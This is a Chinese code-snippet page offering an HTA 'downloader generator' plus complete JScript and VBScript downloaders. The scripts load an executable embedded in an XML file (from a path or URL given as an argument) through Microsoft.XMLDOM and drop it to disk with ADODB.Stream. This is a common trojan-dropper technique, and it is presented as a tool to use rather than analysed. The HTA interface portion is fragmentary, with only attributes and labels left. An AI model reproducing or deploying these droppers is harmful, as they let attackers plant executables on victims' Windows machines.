XMLDOM下载者生成器代码(xmldown.hta)

以下代码保存成hta文件，可生成js和vbs下载者

复制代码 代码如下:

ID="xmldown"
Caption="yes"
SCROLL="auto"
border="none"
borderStyle="static"
SINGLEINSTANCE="yes"
maximizebutton="no"
BORDER="no"
icon="dxdiag.exe">

1.生成下载用的xml文件

选择下载的exe文件：
保存路径

2.生成下载者

生成js下载者生成vbs下载者

<br>var objArgs = WScript.Arguments; <br>var objXmlFile =new ActiveXObject("Microsoft.XMLDOM"); <br>objXmlFile.async=false; <br>objXmlFile.load(objArgs(0).toLowerCase()); <br>do <br>{ <br>WScript.sleep(100); <br>} <br>while (!objXmlFile.readyState == 4) <br> <br>if (objXmlFile.readyState == 4) <br>{ <br>var objStream = new ActiveXObject("ADODB.Stream") <br>var objNodeList =objXmlFile.getElementsByTagName("stream")[0].nodeTypedValue <br> <br>with(objStream) <br>{ <br>objStream.Type = 1; <br>objStream.Open(); <br>objStream.Write(objNodeList); <br>objStream.SaveToFile(objArgs(1).toLowerCase(),2); <br>objStream.close(); <br>} <br>} <br> <br>delete objXmlFile; <br>delete objStream; <br> <br>

<br>Set objXmlFile = CreateObject("Microsoft.XMLDOM") <br>objXmlFile.async=false <br>objXmlFile.load(Wscript.arguments(0)) <br>Do While objXmlFile.readyState<>4 <br>wscript.sleep 100 <br>Loop <br>If objXmlFile.readyState = 4 Then <br> <br>Set objNodeList = objXmlFile.documentElement.selectNodes("//file/stream") <br>Set objStream = CreateObject("ADODB.Stream") <br>With objStream <br>.Type = 1 <br>.Open <br>.Write objNodeList(0).nodeTypedvalue <br>.SaveToFile Wscript.arguments(1), 2 <br>.Close <br>End With <br>Set objStream = Nothing <br> <br>End If <br> <br>Set objXmlFile = Nothing <br>